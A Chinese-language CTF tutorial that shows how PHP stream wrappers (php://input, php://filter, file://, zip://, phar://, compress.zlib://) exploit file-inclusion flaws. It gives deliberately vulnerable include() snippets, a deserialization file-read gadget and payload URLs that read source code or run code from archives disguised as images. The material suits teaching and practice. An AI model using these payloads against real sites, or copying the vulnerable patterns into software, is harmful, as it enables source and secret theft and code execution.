您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何進行ctf中php偽協議的考查,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
php://input協議
第一個例子
flag.php
<?php$flag = 'flag{flag_is_here}';
test1.php
<?php
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r'))=== 'this is test'){
echo"success\n";
echo$flag;
}
else{
echo"error";
}
看上面php代碼可知當讀取文件的內容是thisis test時才顯示flag,我們并不知道那個文件有這個內容,我們可以使用php://這個協議php://input可以得到原始的post數據,訪問請求的原始數據的只讀流,將post請求中的數據作為PHP代碼執行,如下操作來繞過:
使用條件:
allow_url_fopen:off/on
allow_url_include:on
第二個例子
php://input實現代碼執行
test1.php改為如下
<?php
$a= $_GET["a"];
include($a);
注:只在php5.2.17 下測試成功,其他均出現報錯,原因未知。
php://filter/convert.base64-encode/resource=
看另外一個代碼:
<?php
$a= $_GET['a'];
include($a);
如何顯示flag.php的內容呢?直接包含是不會顯示的,這時就要用到這個php://filter/convert.base64-encode/resource=取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。
php://filter在雙off的情況下也可以正常使用;
allow_url_fopen:off/on
allow_url_include:off/on
利用反序列化讀取文件
借鑒2016xctf 一道題的思路,代碼被我簡化了:
<?php
classflag{
public$file;
publicfunction __tostring(){
echofile_get_contents($this->file);
return'yes';
}
}
$a= new flag();
$a->file= 'php://filter/convert.base64-encode/resource=flag.php';
$data= serialize($a);
echo$data.'<br>';
echounserialize($data);
定義一個flag類,并重寫了tostring(),我們先new一個新對象,并給變量賦值,最后序列化一下。
假設在某個題目中序列化后變量是可控的而且我們知道類內容,那我們就可以通過可控變量實現任意文件讀取,如上代碼中,反序列化過程中實現了flag.php文件的讀取
file://協議
file://協議在雙off的情況下也可以正常使用;
allow_url_fopen:off/on
allow_url_include:off/on
file://用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
前幾天某比賽web第二道題就是利用注入控制反序列化,file://協議讀取本地文件
注:file://協議必須是絕對路徑
zip://,bzip2://, zlib://協議
雙off情況下正常使用
allow_url_fopen:off/on
allow_url_include:off/on
payload:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt
先將要執行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請求中會將后面的參數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。
phar協議
1.jpg是一個里面含有1.php的壓縮包,改了后綴名,包含方法如下。
include.php?f=phar://./images/1.jpg/1.php
zlib://協議
使用方法:
compress.zlib://file.gz
絕對路徑
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg
相對路徑
http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg
總結
上面只是最基礎的例子,在ctf中要會活用,正所謂再難的題也離不開基礎。
題外話:近來國內ctf比賽越來越趨向于國際化,pwn、re題目占了絕大部分,web題很少或者直接沒有,作為一個web狗要堅強的走下去。
看完上述內容,你們對如何進行ctf中php偽協議的考查有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。